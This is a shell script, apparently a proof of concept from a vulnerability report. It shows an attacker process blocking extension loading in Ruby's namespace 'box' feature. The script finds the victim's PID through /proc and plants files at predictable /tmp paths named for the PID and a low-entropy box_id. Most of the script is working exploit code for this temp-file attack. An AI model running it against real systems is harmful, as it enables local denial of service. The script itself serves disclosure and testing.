|
#!/bin/sh
|
|
# PoC-2 orchestrator: a SEPARATE attacker process blocks namespace ext loading in
|
|
# a victim, using only externally-observable info (victim PID via /proc, the
|
|
# deterministic/low-entropy box_id, and the known extension name "fcntl").
|
|
# Local-only, non-destructive, finishes in ~1s. No daemons; the victim is a
|
|
# transient backgrounded job that we wait on.
|
|
set -u
|
|
RUBY="${RUBY:-./ruby}"
|
|
HERE="$(cd "$(dirname "$0")" && pwd)"
|
|
TOKEN="boxpoc_$$_$(date +%s)"
|
|
COORD="$(mktemp -d)"
|
|
TMPDIR_GUESS="/tmp"
|
|
EXT_BASENAME="fcntl.so"
|
|
trap 'rm -rf "$COORD"; for id in $IDS; do rm -f "$TMPDIR_GUESS/_ruby_box_p${VPID}_${id}_${EXT_BASENAME}"; done 2>/dev/null' EXIT
|
|
IDS="1 2 3 4 5 6 7 8"
|
|
VPID=""
|
|
|
|
# 1) Launch victim (transient background job).
|
|
RUBY_BOX=1 ASAN_OPTIONS=detect_leaks=0:abort_on_error=1 \
|
|
"$RUBY" --disable-gems -I.ext/x86_64-linux -Ilib "$HERE/box_victim.rb" "$COORD" "$TOKEN" \
|
|
>/dev/null 2>&1 &
|
|
VJOB=$!
|
|
|
|
# 2) Attacker independently discovers the victim PID from /proc via the cmdline token.
|
|
for _ in $(seq 1 500); do
|
|
for p in /proc/[0-9]*/cmdline; do
|
|
if tr '\0' ' ' < "$p" 2>/dev/null | grep -q "$TOKEN" \
|
|
&& tr '\0' ' ' < "$p" 2>/dev/null | grep -q "box_victim.rb"; then
|
|
VPID="$(basename "$(dirname "$p")")"; break
|
|
fi
|
|
done
|
|
[ -n "$VPID" ] && break
|
|
sleep 0.01
|
|
done
|
|
echo "attacker: discovered victim PID via /proc = ${VPID:-<not found>}"
|
|
|
|
# 3) Wait until the victim has created its box (box_id now fixed), then pre-create
|
|
# the predictable destination path for a small box_id range x known basename.
|
|
for _ in $(seq 1 500); do [ -f "$COORD/ready" ] && break; sleep 0.01; done
|
|
echo "attacker: pre-creating predictable paths for PID=$VPID, box_id in {$IDS}, ext=$EXT_BASENAME"
|
|
for id in $IDS; do
|
|
printf 'attacker-planted' > "$TMPDIR_GUESS/_ruby_box_p${VPID}_${id}_${EXT_BASENAME}"
|
|
done
|
|
|
|
# 4) Release the victim and collect its result.
|
|
: > "$COORD/go"
|
|
wait "$VJOB" 2>/dev/null
|
|
echo "victim info : $(cat "$COORD/info" 2>/dev/null)"
|
|
echo "victim result: $(cat "$COORD/result" 2>/dev/null)"
|